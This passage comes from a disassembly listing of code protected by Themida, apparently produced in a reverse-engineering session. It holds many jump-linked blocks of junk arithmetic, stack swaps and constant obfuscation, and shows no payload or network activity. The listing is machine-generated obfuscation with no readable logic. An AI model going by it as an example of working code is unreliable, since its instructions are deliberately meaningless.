		jmp	loc_55A516
; ---------------------------------------------------------------------------


loc_55A4A6:				; CODE XREF: Themida_:0055450Ej
		add	esp, 4
		sub	esp, 4
		jmp	loc_55C5F8
; ---------------------------------------------------------------------------


loc_55A4B1:				; CODE XREF: Themida_:00559651j
		mov	ecx, 6B8A251Ah
		add	eax, ecx
		pop	ecx
		jmp	loc_555399
; ---------------------------------------------------------------------------


loc_55A4BE:				; CODE XREF: Themida_:0055BC51j
		pop	ebx
		push	ebp
		push	3DF51544h
		pop	ebp
		xor	ebp, 6B2A7796h
		push	esi
		jmp	loc_55E955
; ---------------------------------------------------------------------------


loc_55A4D2:				; CODE XREF: Themida_:0055EA00j
		mov	ecx, esp
		push	edx
		push	ecx
		jmp	loc_55B894
; ---------------------------------------------------------------------------


loc_55A4DB:				; CODE XREF: Themida_:0055529Fj
		shr	ebp, 2
		xor	ebp, 2C600303h
		jmp	loc_556E98
; ---------------------------------------------------------------------------


loc_55A4E9:				; CODE XREF: Themida_:0055B38Bj
		xor	ebp, edi
		pop	edi
		xor	ebp, 1B632196h
		jmp	$+5
		not	ebp
		add	ebp, 0F007611Bh
		sub	ebx, ebp
		jmp	loc_553622
; ---------------------------------------------------------------------------


loc_55A506:				; CODE XREF: Themida_:005538FEj
		add	ecx, 0D1949865h
		mov	ebx, ecx
		pop	ecx
		sub	ebp, ebx
		jmp	loc_558520
; ---------------------------------------------------------------------------


loc_55A516:				; CODE XREF: Themida_:0055A4A1j
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55C07D
; ---------------------------------------------------------------------------


loc_55A52C:				; CODE XREF: Themida_:00556C7Bj
		push	ebx
		mov	ebx, 196524BAh
		jmp	loc_553B78
; ---------------------------------------------------------------------------


loc_55A537:				; CODE XREF: Themida_:00555BB1j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4


loc_55A54D:				; CODE XREF: Themida_:00559AFEj
					; Themida_:0055B8F2j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	58B3h
		jmp	loc_55E914
; ---------------------------------------------------------------------------


loc_55A561:				; CODE XREF: Themida_:005550ACj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55EA74
; ---------------------------------------------------------------------------


loc_55A572:				; CODE XREF: Themida_:0055C191j
		add	esp, 4
		push	1137h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		jmp	loc_559B4C
; ---------------------------------------------------------------------------


loc_55A590:				; CODE XREF: Themida_:0055A673j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_559B03
; ---------------------------------------------------------------------------


loc_55A5A3:				; CODE XREF: Themida_:00559D5Dj
		pop	edi
		sub	ebp, 0D9F8F1D1h
		add	esi, 791A143Ah
		jmp	loc_559322
; ---------------------------------------------------------------------------


loc_55A5B5:				; CODE XREF: Themida_:00555519j
		mov	[esp], eax
		jmp	loc_557B26
; ---------------------------------------------------------------------------


loc_55A5BD:				; CODE XREF: Themida_:0055B331j
		mov	[esp], ebx
		jmp	loc_559317
; ---------------------------------------------------------------------------


loc_55A5C5:				; CODE XREF: Themida_:0055CCF3j
		div	ecx
		push	725Ah
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_556831
; ---------------------------------------------------------------------------


loc_55A5D6:				; CODE XREF: Themida_:005547AFj
		sub	edx, 2BE0336h
		shl	edx, 3
		jmp	loc_555F52
; ---------------------------------------------------------------------------


loc_55A5E4:				; CODE XREF: Themida_:0055AD0Aj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	3293h
		mov	[esp], ebx
		mov	ebx, 6881380h
		shl	ebx, 5
		shl	ebx, 2
		and	ebx, 29EE2AD8h
		push	esi
		jmp	loc_5591C8
; ---------------------------------------------------------------------------


loc_55A60E:				; CODE XREF: Themida_:0055E77Cj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_552DF1
; ---------------------------------------------------------------------------


loc_55A619:				; CODE XREF: Themida_:0055B76Cj
		push	edi
		push	ecx
		jmp	loc_55937F
; ---------------------------------------------------------------------------


loc_55A620:				; CODE XREF: Themida_:0055B49Dj
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 5B4E6594h
		shr	esi, 3
		xor	esi, 58912ABAh
		neg	esi
		add	esi, 53F8E60Ch
		add	edx, esi
		jmp	loc_5553B6
; ---------------------------------------------------------------------------


loc_55A641:				; CODE XREF: Themida_:00558FCAj
		neg	dl
		jmp	loc_55D249
; ---------------------------------------------------------------------------


loc_55A648:				; CODE XREF: Themida_:0055F1FAj
		xor	[esp+4], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5572A9
; ---------------------------------------------------------------------------


loc_55A657:				; CODE XREF: Themida_:00554D2Dj
		mov	esi, 0BA088329h
		sub	esi, ecx
		pop	ecx
		dec	esi
		sub	esi, 3F213BB8h
		sub	esi, 0DE14B2B1h
		jmp	loc_55EBF0
; ---------------------------------------------------------------------------


loc_55A671:				; CODE XREF: Themida_:0055D0E7j
		pop	eax
		push	edx
		jmp	loc_55A590
; ---------------------------------------------------------------------------


loc_55A678:				; CODE XREF: Themida_:0055C5D5j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 20FC40FDh
		shl	esi, 4
		and	esi, 20517952h
		push	edi
		mov	edi, 29E1E98h
		or	edi, 703B19FCh
		add	edi, 1C9F4573h
		neg	edi
		jmp	loc_5567E1
; ---------------------------------------------------------------------------


loc_55A6AB:				; CODE XREF: Themida_:0055583Fj
		add	eax, 48A1799Eh
		and	eax, 51AC2BD6h
		jmp	loc_556331
; ---------------------------------------------------------------------------


loc_55A6BA:				; CODE XREF: Themida_:00559CFFj
		add	ebx, ecx
		pop	ecx
		sub	ebx, 73E56833h
		or	ebx, 0EFE3FB2h
		xor	ebx, 17CB1280h
		sub	ebx, 0E9346D6Eh
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55A6ED:				; CODE XREF: Themida_:00555DCCj
		xor	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_55E172
; ---------------------------------------------------------------------------


loc_55A6FB:				; CODE XREF: Themida_:005558E1j
		mov	eax, 4CDC3C37h
		jmp	loc_5595CD
; ---------------------------------------------------------------------------


loc_55A705:				; CODE XREF: Themida_:00554902j
		pop	edi
		pop	ebp
		jmp	loc_55C824
; ---------------------------------------------------------------------------


loc_55A70C:				; CODE XREF: Themida_:0055AF44j
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		jmp	loc_55EF6A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	622h
		mov	[esp], edx
		jmp	loc_553D4F
; ---------------------------------------------------------------------------


loc_55A72B:				; CODE XREF: Themida_:0055BE11j
		neg	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3AB26BF2h
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, esi
		pop	esi
		add	edx, edi
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_55EA1A
; ---------------------------------------------------------------------------


loc_55A754:				; CODE XREF: Themida_:00555A75j
		add	[esp], eax
		push	6336h
		jmp	loc_554E2D
; ---------------------------------------------------------------------------


loc_55A761:				; CODE XREF: Themida_:0055A26Dj
		mov	esi, esp
		jmp	loc_55805B
; ---------------------------------------------------------------------------


loc_55A768:				; CODE XREF: Themida_:0055BCABj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55435B
; ---------------------------------------------------------------------------


loc_55A773:				; CODE XREF: Themida_:0055B1AAj
		mov	esi, 66C32D26h
		push	2068h
		mov	[esp], ecx
		push	esp
		jmp	loc_55479C
; ---------------------------------------------------------------------------


loc_55A786:				; CODE XREF: Themida_:0055BEBCj
		sub	ebp, 0E2B963Dh
		xor	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		add	ecx, eax
		jmp	loc_555BE6
; ---------------------------------------------------------------------------


loc_55A799:				; CODE XREF: Themida_:00554B36j
		pop	edx
		pop	ecx
		push	11F2h
		mov	[esp], esi
		jmp	loc_55ED65
; ---------------------------------------------------------------------------


loc_55A7A8:				; CODE XREF: Themida_:0055EEBEj
		sub	eax, 7C696E6Bh
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0FA254C55h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, eax
		pop	eax
		push	esi
		mov	esi, 3E1B12D2h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, edi
		add	ebx, 3E1B12D2h
		mov	ecx, [ebx]
		mov	ebx, [esp]
		jmp	loc_55C948
; ---------------------------------------------------------------------------


loc_55A7EA:				; CODE XREF: Themida_:00556325j
		add	ebx, edx
		sub	ebx, 43047CD8h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, al
		mov	[ebx], dl
		pop	edx
		jmp	loc_556226
; ---------------------------------------------------------------------------


loc_55A805:				; CODE XREF: Themida_:0055904Bj
		add	edx, eax
		add	edx, 4AB67D7Dh
		sub	edx, 5D2374D2h
		push	ebx
		jmp	loc_555D99
; ---------------------------------------------------------------------------


loc_55A819:				; CODE XREF: Themida_:0055580Bj
		mov	esp, [esp]
		jmp	loc_5593F1
; ---------------------------------------------------------------------------


loc_55A821:				; CODE XREF: Themida_:005582EFj
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559337
; ---------------------------------------------------------------------------


loc_55A831:				; CODE XREF: Themida_:0055503Aj
		mov	edx, esp
		jmp	loc_557BDE
; ---------------------------------------------------------------------------


loc_55A838:				; CODE XREF: Themida_:00556E7Ej
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55E3DF
; ---------------------------------------------------------------------------


loc_55A846:				; CODE XREF: Themida_:0055940Ej
		sub	esi, 0BB97879h
		add	esi, ebx
		push	ebx
		mov	ebx, 33DE0527h
		jmp	loc_55DA64
; ---------------------------------------------------------------------------


loc_55A859:				; CODE XREF: Themida_:0055C01Aj
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_559064
; ---------------------------------------------------------------------------


loc_55A866:				; CODE XREF: Themida_:0055413Cj
		mov	edi, 6217584Fh
		and	edi, 392D4650h
		push	ebp
		mov	ebp, 744B6F08h
		shr	ebp, 7
		jmp	loc_557D01
; ---------------------------------------------------------------------------


loc_55A87F:				; CODE XREF: Themida_:00554DA1j
		and	[edi+1Ch], eax
		jmp	loc_559245
; ---------------------------------------------------------------------------
		lodsw
		jmp	loc_557B8D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_557FB5
; ---------------------------------------------------------------------------


loc_55A89A:				; CODE XREF: Themida_:0055561Ej
		mov	bl, 0E2h
		jmp	near ptr unk_553ABF
; ---------------------------------------------------------------------------


loc_55A8A1:				; CODE XREF: Themida_:00559214j
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_555966
; ---------------------------------------------------------------------------


loc_55A8AB:				; CODE XREF: Themida_:0055AE04j
		and	eax, 56C2451h
		xor	eax, 4C7608DCh
		shl	eax, 7
		sub	eax, 916CE8Dh
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 1A5210B9h
		jmp	loc_55EB12
; ---------------------------------------------------------------------------


loc_55A8CB:				; CODE XREF: Themida_:00559A1Cj
		push	esp
		pop	eax
		jmp	loc_55C92C
; ---------------------------------------------------------------------------


loc_55A8D2:				; CODE XREF: Themida_:005562F5j
		add	eax, 637F5F8Bh
		push	eax
		xor	dword ptr [esp], 33B034E2h
		jmp	loc_557B18
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		jmp	loc_5566FA
; ---------------------------------------------------------------------------


loc_55A8F3:				; CODE XREF: Themida_:005591F5j
		sub	ebx, edi
		pop	edi
		shr	ebx, 6
		push	3013h
		mov	[esp], edi
		jmp	loc_558010
; ---------------------------------------------------------------------------


loc_55A906:				; CODE XREF: Themida_:0055C3C0j
		neg	ebp
		inc	ebp
		not	ebp
		shl	ebp, 8
		jmp	loc_55B023
; ---------------------------------------------------------------------------


loc_55A913:				; CODE XREF: Themida_:00557B44j
		mov	[esp], ebx
		jmp	loc_55B07A
; ---------------------------------------------------------------------------


loc_55A91B:				; CODE XREF: Themida_:005565C3j
		mov	ebx, 4
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		jmp	loc_552F39
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55503F
; ---------------------------------------------------------------------------


loc_55A933:				; CODE XREF: Themida_:0055D06Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_556C9A
; ---------------------------------------------------------------------------


loc_55A93F:				; CODE XREF: Themida_:0055EBE5j
		neg	ebx
		shr	ebx, 7
		add	ebx, 0FE4C6E62h
		add	esi, ebx
		jmp	loc_55842E
; ---------------------------------------------------------------------------


loc_55A951:				; CODE XREF: Themida_:0055748Aj
		add	ebp, 34292D82h
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	22EEh
		jmp	loc_554C4A
; ---------------------------------------------------------------------------


loc_55A96E:				; CODE XREF: Themida_:00555820j
		add	edx, 4
		jmp	loc_556F7B
; ---------------------------------------------------------------------------


loc_55A979:				; CODE XREF: Themida_:0055E429j
		xor	dx, bx
		xchg	dx, [esp]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55A985:				; CODE XREF: Themida_:0055B26Ej
		pop	ebx
		add	esp, 4
		jmp	loc_55D9E1
; ---------------------------------------------------------------------------


loc_55A98E:				; CODE XREF: Themida_:0055602Bj
		mov	eax, [esp]
		add	esp, 4
		push	2C00h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4E6A2A92h
		push	eax
		mov	eax, 0B195D572h
		add	esi, eax
		pop	eax
		add	edi, 68E440A1h
		add	edi, esi
		sub	edi, 68E440A1h
		jmp	loc_558410
; ---------------------------------------------------------------------------


loc_55A9CB:				; CODE XREF: Themida_:0055B965j
		sub	ecx, 4
		jmp	loc_5539EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55A9D3:				; CODE XREF: sub_5747D8-1A982j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		xor	ecx, [esp+20h+var_20]
		xor	[esp+20h+var_20], ecx
		xor	ecx, [esp+20h+var_20]
		pop	esp
		mov	word ptr [esp+1Ch+var_1C], cx
		push	eax
		push	1452h
		mov	[esp+24h+var_24], ecx
		push	eax
		mov	ah, 9Dh
		jmp	loc_55EF39
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55AA00:				; CODE XREF: Themida_:00554AB5j
		pop	ebp
		sub	ebp, 55F60A1Ch
		jmp	loc_55C120
; ---------------------------------------------------------------------------


loc_55AA0C:				; CODE XREF: Themida_:0055676Fj
		xor	ebp, 0EC72143h
		add	edi, ebp
		jmp	loc_55DC78
; ---------------------------------------------------------------------------


loc_55AA19:				; CODE XREF: Themida_:0055EEB2j
		sub	[esp+4], ecx
		jmp	loc_557EFD
; ---------------------------------------------------------------------------


loc_55AA22:				; CODE XREF: Themida_:00553BD0j
		mov	ch, 0F4h
		xor	ch, 0D7h
		or	dl, ch
		jmp	loc_55B865
; ---------------------------------------------------------------------------


loc_55AA2E:				; CODE XREF: Themida_:005577C6j
		push	ecx
		jmp	loc_55B6F3
; ---------------------------------------------------------------------------


loc_55AA34:				; CODE XREF: Themida_:0055E34Dj
		push	2827h
		mov	[esp], ebp
		mov	ebp, 9C63484h
		sub	ebp, 7A44413Fh
		jmp	loc_55A2C8
; ---------------------------------------------------------------------------


loc_55AA4C:				; CODE XREF: Themida_:0055E474j
		push	4E1Dh
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		jmp	loc_55C956
; ---------------------------------------------------------------------------


loc_55AA5C:				; CODE XREF: Themida_:00558A24j
		or	eax, eax
		jz	loc_55E03A
		push	dword ptr [edi+28h]
		jmp	loc_55859B
; ---------------------------------------------------------------------------


loc_55AA6C:				; CODE XREF: Themida_:0055D2B9j
		or	ecx, 6B886B58h
		sub	ecx, 60890F4Eh
		jmp	loc_55589C
; ---------------------------------------------------------------------------


loc_55AA7D:				; CODE XREF: Themida_:00552E46j
		mov	ebp, 3C6823F4h
		push	3F51h
		mov	[esp], ebp
		jmp	loc_55E460
; ---------------------------------------------------------------------------


loc_55AA8F:				; CODE XREF: Themida_:0055C827j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55AA9B:				; CODE XREF: Themida_:00557F89j
		sub	esi, 36AB25BDh
		add	edi, esi
		pop	esi
		mov	ebx, edi
		pop	edi
		add	ebx, edi
		push	21A9h
		mov	[esp], edx
		push	ebp
		push	66CB6D22h
		pop	ebp
		xor	ebp, 1EAB46BCh
		or	ebp, 6A75148Eh
		sub	ebp, 7A753F9Eh
		mov	edx, ebp
		pop	ebp
		add	edx, ebx
		jmp	loc_55643F
; ---------------------------------------------------------------------------


loc_55AAD4:				; CODE XREF: Themida_:00558276j
		add	ebx, edi
		jmp	loc_5564EB
; ---------------------------------------------------------------------------


loc_55AADB:				; CODE XREF: Themida_:00558C32j
		sub	ebp, 5B186ACAh
		push	ecx
		mov	ecx, 24752FCh
		sub	ebp, 1C30641h
		add	ebp, ecx
		add	ebp, 1C30641h
		pop	ecx
		jmp	loc_55442E
; ---------------------------------------------------------------------------


loc_55AAFB:				; CODE XREF: Themida_:0055725Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55EF05
; ---------------------------------------------------------------------------


loc_55AB09:				; CODE XREF: Themida_:00554560j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55C10A
; ---------------------------------------------------------------------------


loc_55AB12:				; CODE XREF: Themida_:0055C1EEj
		add	ecx, 4
		jmp	loc_558847
; ---------------------------------------------------------------------------


loc_55AB1D:				; CODE XREF: Themida_:00559CDAj
		push	0A339FF69h
		pop	ebx
		mov	eax, ebx
		jmp	loc_55D8DC
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0CCh
		push	edx
		jmp	loc_557132
; ---------------------------------------------------------------------------


loc_55AB3C:				; CODE XREF: Themida_:00554E11j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_5562A8
; ---------------------------------------------------------------------------


loc_55AB51:				; CODE XREF: Themida_:00559B6Dj
		shr	edi, 7
		neg	edi
		jmp	loc_55AED4
; ---------------------------------------------------------------------------


loc_55AB5B:				; CODE XREF: Themida_:005547E1j
		push	5B76h
		mov	[esp], ecx
		mov	ecx, 73CB7B7Fh
		jmp	loc_55C350
; ---------------------------------------------------------------------------


loc_55AB6D:				; CODE XREF: Themida_:00556447j
		add	eax, 56B279E8h
		jmp	loc_55F1A6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	2Ah
		mov	[esp], ebp
		push	esi
		mov	esi, 337F6142h
		mov	ebp, 895675DFh
		push	ebx
		mov	ebx, 6A82385Ah
		sub	ebx, 22DE3846h
		xor	ebx, 5DCD75B4h
		sub	ebp, ebx
		pop	ebx
		sub	ebp, esi
		push	ecx
		push	ebx
		push	4AED6A00h
		jmp	loc_555DB3
; ---------------------------------------------------------------------------


loc_55ABB0:				; CODE XREF: Themida_:0055D641j
		add	ecx, 0FFFFFFFFh
		dec	ecx
		shl	ecx, 7
		or	ecx, 755C6959h
		add	ecx, 2373311Fh
		add	eax, 7237A48h
		add	eax, 480F6706h
		jmp	loc_55355B
; ---------------------------------------------------------------------------


loc_55ABD2:				; CODE XREF: Themida_:00559BFDj
		add	ebx, esi
		pop	esi
		add	ebx, 651B5606h
		xor	ebx, 9904EC9Bh
		sub	ebx, 74F2E2Ah
		push	387Ah
		mov	[esp], edi
		push	ebx
		mov	ebx, 1581CF5h
		mov	edi, 24C84874h
		jmp	loc_55A1B9
; ---------------------------------------------------------------------------


loc_55ABFF:				; CODE XREF: Themida_:00554744j
		sub	dword ptr [esp], 1CA11413h
		mov	ecx, [esp]
		jmp	loc_555B68
; ---------------------------------------------------------------------------


loc_55AC0E:				; CODE XREF: Themida_:00553DB1j
		push	edi
		mov	edi, 4
		push	edi
		xor	dword ptr [esp], 1C4F395Ch
		pop	ecx
		xor	ecx, 1C4F395Ch
		jmp	loc_55B90E
; ---------------------------------------------------------------------------


loc_55AC28:				; CODE XREF: Themida_:0055F074j
		mov	esi, esp
		jmp	loc_55330B
; ---------------------------------------------------------------------------


loc_55AC2F:				; CODE XREF: Themida_:0055F0C2j
		pop	ebp
		push	ebx
		mov	ebx, 0FFFFFFFFh
		add	ebp, ebx
		pop	ebx
		push	35D6h
		jmp	loc_5532E8
; ---------------------------------------------------------------------------


loc_55AC43:				; CODE XREF: Themida_:00556671j
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	ebp
		jmp	loc_554FE5
; ---------------------------------------------------------------------------


loc_55AC53:				; CODE XREF: Themida_:0055AF85j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55C505
; ---------------------------------------------------------------------------


loc_55AC6A:				; CODE XREF: Themida_:005587FBj
		push	14E4h
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	eax, 1195756h
		or	eax, eax
		jnz	loc_556642
		push	ebx
		jmp	loc_553B37
; ---------------------------------------------------------------------------


loc_55AC9F:				; CODE XREF: Themida_:0055C4AEj
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5539F2
; ---------------------------------------------------------------------------


loc_55ACAC:				; CODE XREF: Themida_:00555DAEj
		neg	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_55B255
; ---------------------------------------------------------------------------


loc_55ACB6:				; CODE XREF: Themida_:0055ECEBj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1534127Ch
		mov	ebp, 0F647F308h
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_55A46C
; ---------------------------------------------------------------------------


loc_55ACD3:				; CODE XREF: Themida_:00559EEBj
		add	dword ptr [esp+4], 40BD2823h
		jmp	loc_555588
; ---------------------------------------------------------------------------


loc_55ACE0:				; CODE XREF: Themida_:0055527Ej
		neg	eax
		not	eax
		sub	eax, 52C166AFh
		xor	eax, 0FDA8B69Ah
		jmp	loc_559984
; ---------------------------------------------------------------------------


loc_55ACF3:				; CODE XREF: Themida_:0055EDE4j
		mov	ebp, esp
		jmp	loc_553EEE
; ---------------------------------------------------------------------------


loc_55ACFA:				; CODE XREF: Themida_:00553D5Fj
		push	781Ah
		jmp	loc_558A5D
; ---------------------------------------------------------------------------


loc_55AD04:				; CODE XREF: Themida_:0055C763j
		xchg	edi, [esp]
		pop	esp
		idiv	ecx
		jmp	loc_55A5E4
; ---------------------------------------------------------------------------


loc_55AD0F:				; CODE XREF: Themida_:0055BCBDj
		sub	edx, 34BD0044h
		jmp	loc_559DA8
; ---------------------------------------------------------------------------


loc_55AD1A:				; CODE XREF: Themida_:0055B6A8j
		mov	edx, [esp]
		add	esp, 4
		add	esi, 761A368Fh
		add	esi, edx
		sub	esi, 761A368Fh
		pop	edx
		sub	esp, 4
		jmp	loc_55E648
; ---------------------------------------------------------------------------


loc_55AD37:				; CODE XREF: Themida_:00557AA8j
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_558F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55AD44:				; CODE XREF: sub_5747D8-1BAEAj
		mov	[esp+28h+var_28], edx
		push	584Ch
		mov	[esp+2Ch+var_2C], eax
		mov	ah, 95h
		push	5458h
		mov	[esp+0], ecx
		mov	ch, 0D8h
		inc	ch
		or	ch, 70h
		shr	ch, 2
		shl	ch, 4
		and	ch, 2Bh
		push	eax
		mov	ah, 82h
		add	ch, ah
		pop	eax
		push	ebx
		jmp	loc_554767
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55AD75:				; CODE XREF: Themida_:0055D6FCj
		shl	dh, 4
		and	dh, 0BBh
		add	dh, 95h
		sub	bl, 0BAh
		add	bl, dh
		add	bl, 0BAh
		mov	edx, [esp]
		add	esp, 4
		add	bl, 0AEh
		movzx	eax, al
		mov	dx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55C5D2
; ---------------------------------------------------------------------------


loc_55ADA7:				; CODE XREF: Themida_:00558B49j
		mov	[esp], eax
		mov	eax, 338C076Ch
		add	ebp, eax
		pop	eax
		and	ebp, 4E387E61h
		push	ebx
		mov	ebx, 7EB47D54h
		inc	ebx
		xor	ebx, 30661714h
		or	ebx, 71AE77B5h
		sub	ebx, 7FFE7FF4h
		add	ebp, ebx
		pop	ebx
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, 78092608h
		sub	edx, 550175F2h
		jmp	loc_557602
; ---------------------------------------------------------------------------


loc_55ADEA:				; CODE XREF: Themida_:00553B54j
		pop	ebx
		or	edx, 793A27AFh
		or	edx, 26C544E4h
		neg	edx
		push	eax
		mov	eax, 516265F5h
		or	eax, 1797279Bh
		jmp	loc_55A8AB
; ---------------------------------------------------------------------------


loc_55AE09:				; CODE XREF: Themida_:00553F0Dj
		pop	esp
		mov	ecx, edx
		pop	edx
		and	ecx, 60F43AF0h
		push	ebx
		mov	ebx, 0F5EEABE6h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55AE35:				; CODE XREF: Themida_:00559D40j
		or	esi, 47AD3691h
		dec	esi
		or	esi, 0E834CEBh
		jmp	loc_55D668
; ---------------------------------------------------------------------------


loc_55AE47:				; CODE XREF: Themida_:0055DC83j
		push	ebx
		push	ecx
		mov	ch, 16h
		mov	bh, 14h
		add	bh, ch
		jmp	loc_5535F5
; ---------------------------------------------------------------------------


loc_55AE54:				; CODE XREF: Themida_:00558395j
		xor	edi, 3162D9E2h
		jmp	loc_555E47
; ---------------------------------------------------------------------------


loc_55AE5F:				; CODE XREF: Themida_:0055D27Aj
		add	esi, 5CA840B9h
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55A43C
; ---------------------------------------------------------------------------


loc_55AE75:				; CODE XREF: Themida_:0055997Fj
		shr	al, 2
		shl	al, 1
		or	al, 9Dh
		xor	al, 6
		and	al, 0A9h
		push	ecx
		jmp	loc_55DF2D
; ---------------------------------------------------------------------------


loc_55AE86:				; CODE XREF: Themida_:0055BFADj
		shr	ebx, 7
		shl	ebx, 3
		not	ebx
		add	ebx, 4DD03EECh
		add	ebx, 0BCE41371h
		mov	ebp, ebx
		pop	ebx
		sub	dword ptr [esp+4], 6E501626h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6E501626h
		pop	ebp
		pop	eax
		jmp	loc_559BB1
; ---------------------------------------------------------------------------


loc_55AEB8:				; CODE XREF: Themida_:005564ADj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_558526
; ---------------------------------------------------------------------------


loc_55AEC9:				; CODE XREF: Themida_:00555FABj
		not	dword ptr [esp]
		pop	esi
		xor	edi, esi
		jmp	loc_5556B8
; ---------------------------------------------------------------------------


loc_55AED4:				; CODE XREF: Themida_:0055AB56j
		shl	edi, 5
		xor	edi, 68594C00h
		add	edi, 99BF5011h
		jmp	loc_558998
; ---------------------------------------------------------------------------


loc_55AEE8:				; CODE XREF: Themida_:0055E46Ej
		xor	eax, edi
		jmp	loc_5556C5
; ---------------------------------------------------------------------------


loc_55AEEF:				; CODE XREF: Themida_:0055B62Aj
		push	edi
		mov	edi, esp
		jmp	loc_554013
; ---------------------------------------------------------------------------


loc_55AEF7:				; CODE XREF: Themida_:00555570j
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	7B946CCDh
		pop	edi
		push	ecx
		mov	ecx, 7CFF34ABh
		inc	ecx
		and	ecx, 52C5F4Dh
		add	ecx, 1
		inc	ecx
		jmp	loc_556160
; ---------------------------------------------------------------------------


loc_55AF20:				; CODE XREF: Themida_:0055D109j
		mov	dx, [esp]
		push	ebp
		jmp	loc_553804
; ---------------------------------------------------------------------------


loc_55AF2A:				; CODE XREF: Themida_:0055E40Cj
		xchg	esi, [esp]
		pop	esp
		inc	edx
		dec	edx
		not	edx
		xor	edx, 1625272Ch
		neg	edx
		jmp	loc_55DCA1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		jmp	loc_55A70C
; ---------------------------------------------------------------------------


loc_55AF49:				; CODE XREF: Themida_:0055390Fj
		mov	[esp], esp
		push	ebx
